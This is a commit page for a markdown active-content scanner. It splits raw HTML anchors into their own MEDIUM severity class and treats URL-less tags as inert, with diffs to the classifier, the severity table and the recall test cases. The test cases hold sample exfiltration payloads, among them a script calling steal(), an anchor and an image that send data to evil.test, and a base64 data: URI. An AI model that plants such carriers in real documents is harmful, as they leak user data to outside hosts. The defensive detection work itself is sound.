1
0
Fork 0

feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert

Two changes that had to ship together, because they co-occur.

`active:raw-html-link` (MEDIUM) splits the click-required carriers out of
`active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as
`<a href="url">` — an asymmetry produced by syntax, not by affordance, on a
carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test
runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH
too: a name outside the active set has unknown rendering, and grading
`<Card src=...>` as a link would be reasoning rather than measurement.

The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>`
without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the
name branch. It tests for the URL attribute's PRESENCE, not for a readable value,
so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here.

WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains
is the `<a href=...>` the split grades down, so each alone leaves the document
blocked by the other's residue.

`active_tag_class` is now the classification point and `is_active_tag` wraps it.
The census patches the former: a boolean could only express a narrowing, never a
regrade, so every carrier candidate would have measured equal to PRODUCTION —
silently, and in the direction that reads as "no change helps".

TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED:

- The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings
  at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>`
  and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On
  that preset it is the only direction the split can move anything. The census
  now reports a TIGHTENS column on both trust tiers against the previously
  shipped row — "frees N" without "tightens M" is a one-sided number.
- `count` drops on documents containing `</a>`, a published field moving under a
  meaning that did not change.

MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the
census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census
also reproduces 133/3/13/108/25 exactly, so it is calibrated against every
published historical number. The two wiki corpora are NOT yet re-measured; the
tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than
carrying probe numbers as fact.

791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version
bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
Kjell Tore Guttormsen 2026-08-12 00:42:44 +02:00
commit fcfaee4589
18 changed files with 544 additions and 99 deletions

View file

@ -63,7 +63,7 @@ from .grounding import (
)
from . import okf
__version__ = "0.6.1"
__version__ = "0.7.0"
# --- §6 bookends: the two library-side halves around the transform ---------

View file

@ -40,6 +40,38 @@ XML has no affordance in any renderer. Measured together rather than one at a ti
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
**Raw HTML grades on carrier too, and a tag that names no target is inert**
(0.7.0). Two changes that had to ship together, because they co-occur:
* the *carrier split* ``<a>``/``<area>`` are click-required, so they report as
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
* the *no-URL narrowing* a tag whose entire affordance IS the URL it names
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
``<img alt=...>`` without ``src``.
They had to ship together because they co-occur: the narrowing strips a document's
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
down, so each change alone leaves the document blocked by the other's residue. The
split never lets a document reach WARN it converts a hard block into a human
review, which is the difference a consumer actually feels and the reason the census
reports ``fail_secure`` alongside non-WARN.
**Measured, on reference-corpus (389 documents) at one corpus state:** 54
``fail_secure`` under ``PRESET_USER_UPLOAD`` before, 53 after; the pair unblocks 1,
and tightens 0 on both trust tiers. That corpus was already emptied of raw-HTML
drivers by the 0.6.0 narrowing, so it bounds the change rather than showing its
value. **The two wiki corpora, where the volume is, are NOT yet re-measured through
the census see ``docs/LIMITATIONS.md`` for what is and is not measured.**
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
outside the active set has unknown rendering and ``href`` is not the only URL
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
not measurement.
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
@ -49,8 +81,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value
a query, userinfo, percent-escapes, or an opaque host label / path segment
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
ordinary form and keep their carrier's severity unconditionally — HIGH for
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
buys little, and it would add a third tier to a class nobody asked to have three.
The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
@ -200,6 +236,21 @@ _ACTIVE_TAGS = frozenset({
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
# keeps the full set — see the module docstring.
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
# Tags whose entire active affordance IS the URL they name. Carrying no URL
# attribute at all, they name no target, so no renderer can fetch or follow them
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
# end tags and MDX wrapper components dominate.
# Everything else in the name set does something a URL cannot describe —
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
# active with no attributes at all.
_URL_AFFORDANCE_TAGS = frozenset({
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
})
# Click-required carriers: following one needs a human, exactly like a markdown
# inline link. Everything else the renderer fetches or executes unattended.
_LINK_TAGS = frozenset({"a", "area"})
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
# Reading the value needs the same literal alternation with the value attached, so
@ -236,12 +287,42 @@ def _url_attr_is_external(attrs: str) -> bool:
return not seen
def active_tag_class(name: str, attrs: str) -> str | None:
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
everything the renderer acts on unattended. The event-handler test runs
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
"""
lowered = name.lower()
if _EVENT_ATTR_RE.search(attrs):
return "raw-html"
# Presence, not a readable value: a URL attribute whose value this module
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
# fail-secure gap. The corpora carry 0 of these today — empirical, not
# structural, so the predicate must not depend on that holding.
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
if lowered in _SCANNER_ACTIVE_TAGS:
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
return None
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
# A name outside the active set is active only through its URL attribute, and
# stays on the HIGH side: its rendering is unknown and `href` is not the only
# URL attribute it may carry. Measured cost of that conservatism: one
# document per wiki corpus.
if has_url_attr and _url_attr_is_external(attrs):
return "raw-html"
return None
def is_active_tag(name: str, attrs: str) -> bool:
"""True if a tag is active for the SCANNER: executing element, event handler,
or a URL attribute pointing at an external target."""
if name.lower() in _SCANNER_ACTIVE_TAGS or _EVENT_ATTR_RE.search(attrs):
return True
return bool(_URL_ATTR_RE.search(attrs)) and _url_attr_is_external(attrs)
"""True if a tag is active for the SCANNER, in either carrier class.
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
measure a candidate predicate, and consumers import it by name.
"""
return active_tag_class(name, attrs) is not None
def is_defangable_tag(name: str, attrs: str) -> bool:
@ -416,18 +497,24 @@ def scan_active_content(
_flag("autolink", autos)
# Raw HTML is active whatever its URL looks like (an event handler needs no
# URL at all), so every tag is flagged as carrying — no ordinary form.
html: list[tuple[str, bool]] = []
# URL at all), so every tag is flagged as carrying — no ordinary form. The
# two carrier classes are collected separately: a document holding both a
# `<script>` and an `<a href>` must not lose the anchor behind the script,
# nor grade the script down to the anchor's severity.
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
def _tag(m: re.Match[str]) -> str:
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
if cls is None:
return m.group(0)
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
html[cls].append(
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
return " " * len(m.group(0))
masked = HTML_TAG_RE.sub(_tag, masked)
if html:
_flag("raw-html", html)
for cls in ("raw-html", "raw-html-link"):
if html[cls]:
_flag(cls, html[cls])
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
# outright, so this stays HIGH through the same path as the rest.

View file

@ -129,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
"reference-link": Severity.MEDIUM,
"autolink": Severity.MEDIUM,
"raw-html": Severity.HIGH,
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
# asymmetry that came from syntax rather than affordance. Following an anchor
# needs a human, so it grades with the other click-required carriers.
"raw-html-link": Severity.MEDIUM,
"data-uri": Severity.HIGH,
}

View file

@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
f"![chart](https://evil.test/{_B64_INJECTION}/p.png)", owasp="LLM05"),
_scan_case("active", "raw active HTML", "active:raw-html",
"<script>steal()</script>", owasp="LLM05"),
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
# with the markdown link rather than with the zero-click carriers. It is
# its own class, and recall for it is demonstrated separately — a label a
# consumer can pin needs a row here, or 128/128 would silently exclude it.
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",